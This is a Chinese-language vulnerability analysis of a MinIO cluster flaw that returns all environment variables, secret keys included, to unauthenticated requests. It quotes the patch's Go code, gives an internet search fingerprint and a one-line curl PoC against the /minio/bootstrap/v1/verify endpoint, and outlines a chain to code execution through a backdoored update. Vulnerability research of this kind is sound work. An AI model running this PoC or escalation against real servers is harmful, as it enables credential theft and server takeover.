Minio是一个多云对象存储框架。在从 RELEASE.2019-12-17T23-16-33Z 开始且 RELEASE.2023-03-20T20-16-18Z 之前的集群部署中,MinIO 返回所有环境变量,包括“MINIO_SECRET_KEY”和“MINIO_ROOT_PASSWORD”,从而导致信息泄露。分布式部署的所有用户都会受到影响。建议所有用户升级到发布版本.2023-03-20T20-16-18Z。
web.title=“minio”
2019-12-17t23-16-33z <= Minio < 2023-03-20t20-16-18z
使用Docker启动4个minio即可。
补丁分析
对比修复版本和未修复版本
https://github.com/minio/minio/compare/RELEASE.2023-03-13T19-46-17Z…RELEASE.2023-03-20T20-16-18Z可知漏洞在commit
https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077修复,查看修复代码,可以知道在 cmd/bootstrap-peer-server.go#VerifyHandler方法中增加了鉴权逻辑:

func storageServerRequestValidate(r *http.Request) error {
token, err := jwtreq.AuthorizationHeaderExtractor.ExtractToken(r)
if err != nil {
if err == jwtreq.ErrNoTokenInRequest {
return errNoAuthToken
}
return errMalformedAuth
}
claims := xjwt.NewStandardClaims()
if err = xjwt.ParseWithStandardClaims(token, claims, []byte(globalActiveCred.SecretKey)); err != nil {
return errAuthentication
}
owner := claims.AccessKey == globalActiveCred.AccessKey || claims.Subject == globalActiveCred.AccessKey
if !owner {
return errAuthentication
}
if claims.Audience != r.URL.RawQuery {
return errAuthentication
}
requestTimeStr := r.Header.Get("X-Minio-Time")
requestTime, err := time.Parse(time.RFC3339, requestTimeStr)
if err != nil {
return errMalformedAuth
}
utcNow := UTCNow()
delta := requestTime.Sub(utcNow)
if delta < 0 {
delta *= -1
}
if delta > DefaultSkewTime {
return errSkewedAuthTime
}
return nil
}
而 VerifyHandler方法对应的路由在cmd/bootstrap-peer-server.go#registerBootstrapRESTHandlers注册,对应的路径为 bootstrapRESTPrefix+bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify
func registerBootstrapRESTHandlers(router *mux.Router) {
h := func(f http.HandlerFunc) http.HandlerFunc {
return collectInternodeStats(httpTraceHdrs(f))
}
server := &bootstrapRESTServer{}
subrouter := router.PathPrefix(bootstrapRESTPrefix).Subrouter()
subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodHealth).HandlerFunc(
h(server.HealthHandler))
subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify).HandlerFunc(
h(server.VerifyHandler))
}
minioReservedBucket = "minio"
minioReservedBucketPath = SlashSeparator + minioReservedBucket
bootstrapRESTPrefix = minioReservedBucketPath + "/bootstrap"
const (
bootstrapRESTVersion = "v1"
bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion
)
const (
bootstrapRESTMethodVerify = "/verify"
)
综合可得,触发漏洞方法为向/minio/bootstrap/v1/verify接口发送POST请求即可,除了对verify接口做鉴权之外,补丁中还在输出中去除了密钥等敏感信息。
![[../images/Pasted image 20231007234853.png]]
PoC
curl -X POST http://target/minio/bootstrap/v1/verify
这个漏洞分析起来较为简单,由于Minio是go开发的,直接RCE比较难,目前RCE方式是通过信息泄露获取到管理员密钥登录,而后替换更新链接,在使用minio自带的mc工具进行更新,将当前minio实例替换为带有后门版本的minio,从而执行任意代码。
参考链接
https://github.com/minio/minio/compare/RELEASE.2023-03-13T19-46-17Z…RELEASE.2023-03-20T20-16-18Z
创建于2023-10-06
Created at 2023-05-05T20:53:41+08:00